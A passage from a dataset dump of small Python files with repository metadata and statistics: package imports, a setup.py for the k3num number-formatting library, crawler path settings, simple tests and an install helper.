| 48.5 | 121 | 0.59763 | 957 | 6,499 | 3.882968 | 0.089864 | 0.096878 | 0.08746 | 0.072659 | 0.883208 | 0.823466 | 0.81324 | 0.797094 | 0.759957 | 0.750269 | 0 | 0.017252 | 0.268657 | 6,499 | 133 | 122 | 48.864662 | 0.76457 | 0.327127 | 0 | 0.661765 | 0 | 0 | 0.023005 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.132353 | false | 0 | 0.014706 | 0 | 0.220588 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
08f7e765ce1b236d15bea0f299c55398eb2f16d3 | 166 | py | Python | tasks/R2R-pano/models/__init__.py | gregschuit/regretful-agent | c39d22f90512cd3c7798e7e09f9f031b85939648 | [
"MIT"
] | 122 | 2019-03-06T01:41:32.000Z | 2022-03-18T14:59:00.000Z | tasks/R2R-pano/models/__init__.py | gregschuit/regretful-agent | c39d22f90512cd3c7798e7e09f9f031b85939648 | [
"MIT"
] | 15 | 2019-03-09T01:38:53.000Z | 2021-09-23T21:27:31.000Z | tasks/R2R-pano/models/__init__.py | gregschuit/regretful-agent | c39d22f90512cd3c7798e7e09f9f031b85939648 | [
"MIT"
] | 29 | 2019-03-06T01:49:14.000Z | 2021-12-12T18:51:58.000Z | from models.encoder import EncoderRNN
from models.modules import PositionalEncoding
from models.policy_model import Regretful, SelfMonitoring, SpeakerFollowerBaseline | 55.333333 | 82 | 0.891566 | 18 | 166 | 8.166667 | 0.666667 | 0.204082 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078313 | 166 | 3 | 82 | 55.333333 | 0.960784 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
3eaa7894ca841929fcf23956305fcb6c45c02c73 | 193 | py | Python | src/iml_global.py | iml1111/U-I_Board_Crawler | ba5929d8b64be68c825454dbf657cd7f2cda58a3 | [
"MIT"
] | null | null | null | src/iml_global.py | iml1111/U-I_Board_Crawler | ba5929d8b64be68c825454dbf657cd7f2cda58a3 | [
"MIT"
] | null | null | null | src/iml_global.py | iml1111/U-I_Board_Crawler | ba5929d8b64be68c825454dbf657cd7f2cda58a3 | [
"MIT"
] | null | null | null | import sys
import os
sys.path.insert(0,'C:\\Users\\IML\\Desktop\\PKU_Crawler\\src')
sys.path.insert(0,'C:\\Users\\IML\\Desktop\\PKU_Crawler\\src\\PK_univ')
YJ_1 = "201512801"
YJ_2 = "1113434" | 24.125 | 71 | 0.704663 | 34 | 193 | 3.852941 | 0.588235 | 0.10687 | 0.198473 | 0.21374 | 0.656489 | 0.656489 | 0.656489 | 0.656489 | 0.656489 | 0.656489 | 0 | 0.111111 | 0.067358 | 193 | 8 | 72 | 24.125 | 0.616667 | 0 | 0 | 0 | 0 | 0 | 0.551546 | 0.469072 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
3ec296e836d55824624e3beb583970fa603b952f | 257 | py | Python | datasets/__init__.py | PointCloudYC/se-pseudogrid | 65005d82fda1a31b8c945e02e378df102ba0fee0 | [
"MIT"
] | 2 | 2021-11-30T06:38:23.000Z | 2021-12-17T01:38:32.000Z | datasets/__init__.py | PointCloudYC/se-pseudogrid | 65005d82fda1a31b8c945e02e378df102ba0fee0 | [
"MIT"
] | null | null | null | datasets/__init__.py | PointCloudYC/se-pseudogrid | 65005d82fda1a31b8c945e02e378df102ba0fee0 | [
"MIT"
] | null | null | null | from .ModelNet40 import ModelNet40Cls, get_cls_features
from .PipeWork import PipeWorkCls, get_cls_features
from .PartNet import PartNetSeg, get_part_seg_features
from .S3DIS import S3DISSeg, get_scene_seg_features
from .ShapeNetPart import ShapeNetPartSeg
| 42.833333 | 55 | 0.871595 | 34 | 257 | 6.294118 | 0.529412 | 0.224299 | 0.130841 | 0.168224 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025751 | 0.093385 | 257 | 5 | 56 | 51.4 | 0.892704 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
3ee4873e5272612599b563f68b8b32e00df49b76 | 83 | py | Python | chemiwrap/tests/test_chemiwrap.py | SimonBoothroyd/chemiwrap | 7394cd44e386a9f280fd61bce5cf4d0d1567c689 | [
"MIT"
] | 2 | 2021-06-28T15:20:02.000Z | 2021-07-01T03:09:35.000Z | chemiwrap/tests/test_chemiwrap.py | SimonBoothroyd/chemiwrap | 7394cd44e386a9f280fd61bce5cf4d0d1567c689 | [
"MIT"
] | 7 | 2021-06-29T08:21:40.000Z | 2022-02-28T21:13:50.000Z | chemiwrap/tests/test_chemiwrap.py | SimonBoothroyd/chemiwrap | 7394cd44e386a9f280fd61bce5cf4d0d1567c689 | [
"MIT"
] | null | null | null | import importlib
def test_importable():
importlib.import_module("chemiwrap")
| 13.833333 | 40 | 0.771084 | 9 | 83 | 6.888889 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.13253 | 83 | 5 | 41 | 16.6 | 0.861111 | 0 | 0 | 0 | 0 | 0 | 0.108434 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 1 | 0 | 1.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
eb370c527bcc4b3174e34c3d295a2cb8487f5fe1 | 27 | py | Python | napari/components/_viewer/view/__init__.py | donovanr/napari | 580b5eab8cc40af53aef780a65adb9216d968a32 | [
"BSD-3-Clause"
] | null | null | null | napari/components/_viewer/view/__init__.py | donovanr/napari | 580b5eab8cc40af53aef780a65adb9216d968a32 | [
"BSD-3-Clause"
] | 1 | 2019-05-24T17:01:51.000Z | 2019-05-24T18:06:22.000Z | napari/components/_viewer/view/__init__.py | AllenCellModeling/napari | 3566383e6310d02e8673b564b6f63411fa176708 | [
"BSD-3-Clause"
] | null | null | null | from .main import QtViewer
| 13.5 | 26 | 0.814815 | 4 | 27 | 5.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 27 | 1 | 27 | 27 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
de2615e1c967b72c2804ccf7c51766f3aafbd0b7 | 163 | py | Python | src/easycoref/__init__.py | sally14/easycoref | 4d8f20f17bd1b9349352ccc4d764622a75829c0d | [
"Apache-2.0"
] | 1 | 2021-12-16T16:02:33.000Z | 2021-12-16T16:02:33.000Z | src/easycoref/__init__.py | sally14/easycoref | 4d8f20f17bd1b9349352ccc4d764622a75829c0d | [
"Apache-2.0"
] | null | null | null | src/easycoref/__init__.py | sally14/easycoref | 4d8f20f17bd1b9349352ccc4d764622a75829c0d | [
"Apache-2.0"
] | null | null | null | import subprocess
def download_all():
subprocess.check_call("python -m spacy download en".split())
subprocess.check_call("bash install_coref.sh".split()) | 27.166667 | 64 | 0.748466 | 22 | 163 | 5.363636 | 0.727273 | 0.254237 | 0.322034 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122699 | 163 | 6 | 65 | 27.166667 | 0.825175 | 0 | 0 | 0 | 0 | 0 | 0.292683 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
de3d33cda052ee6e42ab0388735af4667bf2a371 | 120 | py | Python | Probe/probe/plotter/__init__.py | Cloud-PG/smart-cache | 467987abece3fd4830fd615288046359761229f8 | [
"Apache-2.0"
] | 1 | 2019-10-13T09:05:24.000Z | 2019-10-13T09:05:24.000Z | Probe/probe/plotter/__init__.py | Cloud-PG/smart-cache | 467987abece3fd4830fd615288046359761229f8 | [
"Apache-2.0"
] | null | null | null | Probe/probe/plotter/__init__.py | Cloud-PG/smart-cache | 467987abece3fd4830fd615288046359761229f8 | [
"Apache-2.0"
] | 1 | 2019-05-16T11:53:38.000Z | 2019-05-16T11:53:38.000Z | from .stats import (plot_daily_stats, plot_global_stats,
plot_global_upper_limits, plot_week_stats)
| 40 | 62 | 0.725 | 16 | 120 | 4.875 | 0.5625 | 0.230769 | 0.384615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.225 | 120 | 2 | 63 | 60 | 0.83871 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
de7942b431da7457c45d6d7770f275af23c67f76 | 86 | py | Python | back/models/Application.py | TLPhong/tomcat-manager | 02a4876b49fff794e6f2045e41e7ee15bb85d2d6 | [
"MIT"
] | null | null | null | back/models/Application.py | TLPhong/tomcat-manager | 02a4876b49fff794e6f2045e41e7ee15bb85d2d6 | [
"MIT"
] | 7 | 2021-09-25T22:31:01.000Z | 2021-10-01T10:23:59.000Z | back/models/Application.py | TLPhong/tomcat-manager | 02a4876b49fff794e6f2045e41e7ee15bb85d2d6 | [
"MIT"
] | null | null | null | class Application:
def __init__(self, app_name):
self.app_name = app_name
| 21.5 | 33 | 0.686047 | 12 | 86 | 4.333333 | 0.583333 | 0.403846 | 0.423077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.232558 | 86 | 3 | 34 | 28.666667 | 0.787879 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
de89dd36b46be2330238c420c5d3ac88dd52420b | 20 | py | Python | wab/utils/common_functions.py | BinNguyenVNN/wab-rest | daab9e176b5aae60cf822a19563f2e4bc1e02ca1 | [
"MIT"
] | null | null | null | wab/utils/common_functions.py | BinNguyenVNN/wab-rest | daab9e176b5aae60cf822a19563f2e4bc1e02ca1 | [
"MIT"
] | 1 | 2020-12-17T13:51:12.000Z | 2020-12-17T13:51:12.000Z | wab/utils/common_functions.py | BinNguyenVNN/wab-rest | daab9e176b5aae60cf822a19563f2e4bc1e02ca1 | [
"MIT"
] | 1 | 2021-05-18T12:30:53.000Z | 2021-05-18T12:30:53.000Z | def aaa():
pass
| 6.666667 | 10 | 0.5 | 3 | 20 | 3.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.35 | 20 | 2 | 11 | 10 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
de8fe1d4579409bae6f422139f8423e92cd73c31 | 24 | py | Python | run.py | AravindVasudev/Flask-ChatBot | 5387f470ed2c95d0aa3655f9cc7dee557ada09f7 | [
"MIT"
] | 3 | 2019-06-10T07:11:13.000Z | 2021-12-07T17:04:08.000Z | run.py | AravindVasudev/Flask-ChatBot | 5387f470ed2c95d0aa3655f9cc7dee557ada09f7 | [
"MIT"
] | null | null | null | run.py | AravindVasudev/Flask-ChatBot | 5387f470ed2c95d0aa3655f9cc7dee557ada09f7 | [
"MIT"
] | null | null | null | from chatBot import app
| 12 | 23 | 0.833333 | 4 | 24 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 24 | 1 | 24 | 24 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
de8ffb56a30cb4554d7ae5ddd4e83ddb72381c60 | 105 | py | Python | assets/__init__.py | novialriptide/Endless-Sim | af0110134da394d057c3cc283adc13dab508fa0d | [
"Apache-2.0"
] | 1 | 2022-02-16T19:32:18.000Z | 2022-02-16T19:32:18.000Z | assets/__init__.py | novialriptide/Endless-Sim | af0110134da394d057c3cc283adc13dab508fa0d | [
"Apache-2.0"
] | 1 | 2021-11-19T19:31:23.000Z | 2021-11-19T19:33:55.000Z | assets/__init__.py | novialriptide/Endless-Sim | af0110134da394d057c3cc283adc13dab508fa0d | [
"Apache-2.0"
] | null | null | null | import pygame
LOGO0 = pygame.image.load("assets\logo.png")
LOGO1 = pygame.image.load("assets\logo1.png") | 26.25 | 45 | 0.752381 | 16 | 105 | 4.9375 | 0.5625 | 0.278481 | 0.379747 | 0.531646 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030928 | 0.07619 | 105 | 4 | 45 | 26.25 | 0.783505 | 0 | 0 | 0 | 0 | 0 | 0.292453 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
de9a77701267e21c1a8285657521fb4085928b71 | 103 | py | Python | tests/pydecompile-test/baselines/always_for_loop_bad_initializer.py | gengxf0505/pxt | eca93a0e0605e68adcfbebce778cc5912a10efcf | [
"MIT"
] | 1 | 2020-11-11T01:47:26.000Z | 2020-11-11T01:47:26.000Z | tests/pydecompile-test/baselines/always_for_loop_bad_initializer.py | gengxf0505/pxt | eca93a0e0605e68adcfbebce778cc5912a10efcf | [
"MIT"
] | 3 | 2019-02-07T23:34:43.000Z | 2019-03-06T18:25:37.000Z | tests/pydecompile-test/baselines/always_for_loop_bad_initializer.py | gengxf0505/pxt | eca93a0e0605e68adcfbebce778cc5912a10efcf | [
"MIT"
] | 2 | 2019-10-29T06:56:11.000Z | 2021-05-25T10:18:12.000Z | x = 1
1 + 1
while x <= 5:
x += 1
x2 = 1
while x2 <= 5:
x2 += 1
x = 0
y = 2
while x <= 5:
x += 1 | 7.923077 | 14 | 0.38835 | 25 | 103 | 1.6 | 0.32 | 0.15 | 0.35 | 0.4 | 0.45 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 0.417476 | 103 | 13 | 15 | 7.923077 | 0.416667 | 0 | 0 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dee087b0a8213dba1d5f769eaa7b570d686bdc81 | 149 | py | Python | bolinette/testing/__init__.py | TheCaptainCat/flasque | d42deb57572084f513202a32c460186700ce8e0b | [
"MIT"
] | 4 | 2020-11-02T15:16:32.000Z | 2022-01-11T11:19:24.000Z | bolinette/testing/__init__.py | TheCaptainCat/bolinette | d42deb57572084f513202a32c460186700ce8e0b | [
"MIT"
] | 14 | 2021-01-04T11:06:59.000Z | 2022-03-23T17:01:49.000Z | bolinette/testing/__init__.py | TheCaptainCat/bolinette | d42deb57572084f513202a32c460186700ce8e0b | [
"MIT"
] | null | null | null | from bolinette.testing.mock import Mock, Mocked
from bolinette.testing.client import BolitestClient
from bolinette.testing.decorator import bolitest
| 37.25 | 51 | 0.865772 | 19 | 149 | 6.789474 | 0.526316 | 0.302326 | 0.465116 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.087248 | 149 | 3 | 52 | 49.666667 | 0.948529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
defb26a3fbc96ba56c7d372aad4531f7773b1900 | 74 | py | Python | custom/trialconnect/models.py | SEL-Columbia/commcare-hq | 992ee34a679c37f063f86200e6df5a197d5e3ff6 | [
"BSD-3-Clause"
] | 1 | 2015-02-10T23:26:39.000Z | 2015-02-10T23:26:39.000Z | custom/trialconnect/models.py | SEL-Columbia/commcare-hq | 992ee34a679c37f063f86200e6df5a197d5e3ff6 | [
"BSD-3-Clause"
] | null | null | null | custom/trialconnect/models.py | SEL-Columbia/commcare-hq | 992ee34a679c37f063f86200e6df5a197d5e3ff6 | [
"BSD-3-Clause"
] | null | null | null | from couchdbkit.ext.django.schema import Document
class _(Document): pass | 24.666667 | 49 | 0.824324 | 10 | 74 | 6 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094595 | 74 | 3 | 50 | 24.666667 | 0.895522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0.5 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
7208a2e2edae8073d394562aa878be1b5cdf9fec | 53 | py | Python | nineml/abstraction/connectionrule/visitors/__init__.py | INCF/nineml-python | 062a2ac8a9be97cee4dad02938e3858e051cf07c | [
"BSD-3-Clause"
] | 6 | 2017-12-26T14:15:28.000Z | 2021-10-10T22:45:51.000Z | nineml/abstraction/connectionrule/visitors/__init__.py | INCF/nineml-python | 062a2ac8a9be97cee4dad02938e3858e051cf07c | [
"BSD-3-Clause"
] | 25 | 2017-07-05T03:53:53.000Z | 2021-01-19T14:14:05.000Z | nineml/abstraction/connectionrule/visitors/__init__.py | INCF/nineml-python | 062a2ac8a9be97cee4dad02938e3858e051cf07c | [
"BSD-3-Clause"
] | 5 | 2017-12-26T14:15:12.000Z | 2021-10-10T22:45:39.000Z | from .queriers import ConnectionRuleInterfaceInferer
| 26.5 | 52 | 0.90566 | 4 | 53 | 12 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075472 | 53 | 1 | 53 | 53 | 0.979592 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
723c34c337d3093cdafa6723a0de4f64e2da2a2e | 286 | py | Python | aionetworking/networking/exceptions.py | primal100/aionetworking | a29cbb022cbae1a4ad1c3d44327e9d0b0c930227 | [
"MIT"
] | null | null | null | aionetworking/networking/exceptions.py | primal100/aionetworking | a29cbb022cbae1a4ad1c3d44327e9d0b0c930227 | [
"MIT"
] | 1 | 2018-12-23T00:50:33.000Z | 2018-12-23T00:50:33.000Z | aionetworking/networking/exceptions.py | primal100/aionetworking | a29cbb022cbae1a4ad1c3d44327e9d0b0c930227 | [
"MIT"
] | null | null | null | class MessageFromNotAuthorizedHost(BaseException):
pass
class MethodNotFoundError(BaseException):
pass
class ConnectionAlreadyClosedError(BaseException):
pass
class ProtocolException(BaseException):
pass
class RemoteConnectionClosedError(BaseException):
pass | 15.888889 | 50 | 0.800699 | 20 | 286 | 11.45 | 0.4 | 0.371179 | 0.384279 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.146853 | 286 | 18 | 51 | 15.888889 | 0.938525 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 1 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
a0d139b3a46f34ac196a6afb932486ae7be6d799 | 22 | py | Python | mirage/package/__init__.py | fossabot/django-mirage | 814b3f2486af31f9dca42ef4bb0215655fe0aea6 | [
"Apache-2.0"
] | 4 | 2019-05-16T09:26:21.000Z | 2022-02-14T06:21:40.000Z | mirage/package/__init__.py | fossabot/django-mirage | 814b3f2486af31f9dca42ef4bb0215655fe0aea6 | [
"Apache-2.0"
] | 77 | 2019-05-10T22:24:54.000Z | 2021-07-02T03:11:01.000Z | mirage/package/__init__.py | fossabot/django-mirage | 814b3f2486af31f9dca42ef4bb0215655fe0aea6 | [
"Apache-2.0"
] | 1 | 2018-12-08T09:57:54.000Z | 2018-12-08T09:57:54.000Z | from . import package
| 11 | 21 | 0.772727 | 3 | 22 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 22 | 1 | 22 | 22 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
a0db4e0ea07047e24d043ad0380d9ffb943b2ded | 4,357 | py | Python | setup.py | pykit3/k3num | c96ffd6e93962152202c2eef323de92d2aefd94e | [
"MIT"
] | null | null | null | setup.py | pykit3/k3num | c96ffd6e93962152202c2eef323de92d2aefd94e | [
"MIT"
] | 25 | 2020-09-25T06:54:42.000Z | 2022-03-23T07:01:13.000Z | setup.py | pykit3/k3num | c96ffd6e93962152202c2eef323de92d2aefd94e | [
"MIT"
] | null | null | null | # DO NOT EDIT!!! built with `python _building/build_setup.py`
import setuptools
setuptools.setup(
name="k3num",
packages=["k3num"],
version="0.1.6",
license='MIT',
description='Convert number to human readable format in a string.',
long_description='# k3num\n\n[](https://travis-ci.com/pykit3/k3num)\n\n[](https://k3num.readthedocs.io/en/stable/?badge=stable)\n[](https://pypi.org/project/k3num)\n\nConvert number to human readable format in a string.\n\nk3num is a component of [pykit3] project: a python3 toolkit set.\n\n\nk3num convert numbers(or numbers in `dict` or `list`) to human readable\nformat in string::\n\n >>> readable(103425)\n \'101.0K\'\n >>> readable({ \'total\': 10240, \'progress\': [1, 1024*2.1, 1024*3.2], })\n {\'total\': \'10K\', \'progress\': [\'1\', \'2.10K\', \'3.20K\']}\n >>> parsenum(\'5.2K\')\n 5324.8\n >>> parsenum(\'10%\')\n 0.1\n\nAttributes:\n value_to_unit(dict): map of int to unit, e.g.: `1024 -> "K"`, `1024² -> "M"`.\n\n Usage::\n\n >>> value_to_unit[1024**2]\n \'M\'\n\n >>> unit_to_value[\'K\']\n 1024\n\n unit_to_value(dict): reverse map of `value_to_unit`.\n\n\nk3num.Hex provides hex integer with arithmatic support.\n\nDifferent ways to create a 4-byte crc32 hex str::\n\n >>> Hex(0x0102, 4)\n \'00000102\'\n >>> Hex(0x0102, \'crc32\')\n \'00000102\'\n >>> Hex.crc32(0x0102)\n \'00000102\'\n >>> Hex(\'00000102\', \'crc32\')\n \'00000102\'\n >>> Hex.crc32(\'00000102\')\n \'00000102\'\n\n\nCreate with a tuple of prefix and a filling byte::\n\n >>> Hex((\'12\', 1), \'crc32\')\n \'12010101\'\n\n\nArithmetic operations::\n\n >>> Hex(0x0102, \'crc32\') + 1\n \'00000103\'\n >>> Hex(0x0102, \'crc32\') * 2\n \'00000204\'\n >>> Hex(0x0102, \'crc32\') - 1000000\n \'00000000\'\n >>> Hex(0x0102, \'crc32\') * 1000000000\n \'ffffffff\'\n\n\nIterate over sha1 space with a specific step::\n\n >>> Hex.sha1(0) + Hex.sha1((\'10\', 0))\n \'1000000000000000000000000000000000000000\'\n >>> Hex.sha1(0) + Hex.sha1((\'10\', 0)) * 2\n \'2000000000000000000000000000000000000000\'\n\n\n\n# Install\n\n```\npip install k3num\n```\n\n# Synopsis\n\n```python\n>>> readable(103425)\n\'101.0K\'\n>>> readable({ \'total\': 10240, \'progress\': [1, 1024*2.1, 1024*3.2], })\n{\'total\': \'10K\', \'progress\': [\'1\', \'2.10K\', \'3.20K\']}\n>>> parsenum(\'5.2K\')\n5324.8\n>>> parsenum(\'10%\')\n0.1\n>>> value_to_unit[1024**2]\n\'M\'\n>>> unit_to_value[\'K\']\n1024\n>>> Hex(0x0102, 4)\n\'00000102\'\n>>> Hex(0x0102, \'crc32\')\n\'00000102\'\n>>> Hex.crc32(0x0102)\n\'00000102\'\n>>> Hex(\'00000102\', \'crc32\')\n\'00000102\'\n>>> Hex.crc32(\'00000102\')\n\'00000102\'\n>>> Hex((\'12\', 1), \'crc32\')\n\'12010101\'\n>>> Hex(0x0102, \'crc32\') + 1\n\'00000103\'\n>>> Hex(0x0102, \'crc32\') * 2\n\'00000204\'\n>>> Hex(0x0102, \'crc32\') - 1000000\n\'00000000\'\n>>> Hex(0x0102, \'crc32\') * 1000000000\n\'ffffffff\'\n>>> Hex.sha1(0) + Hex.sha1((\'10\', 0))\n\'1000000000000000000000000000000000000000\'\n>>> Hex.sha1(0) + Hex.sha1((\'10\', 0)) * 2\n\'2000000000000000000000000000000000000000\'\n```\n\n# Author\n\nZhang Yanpo (张炎泼) 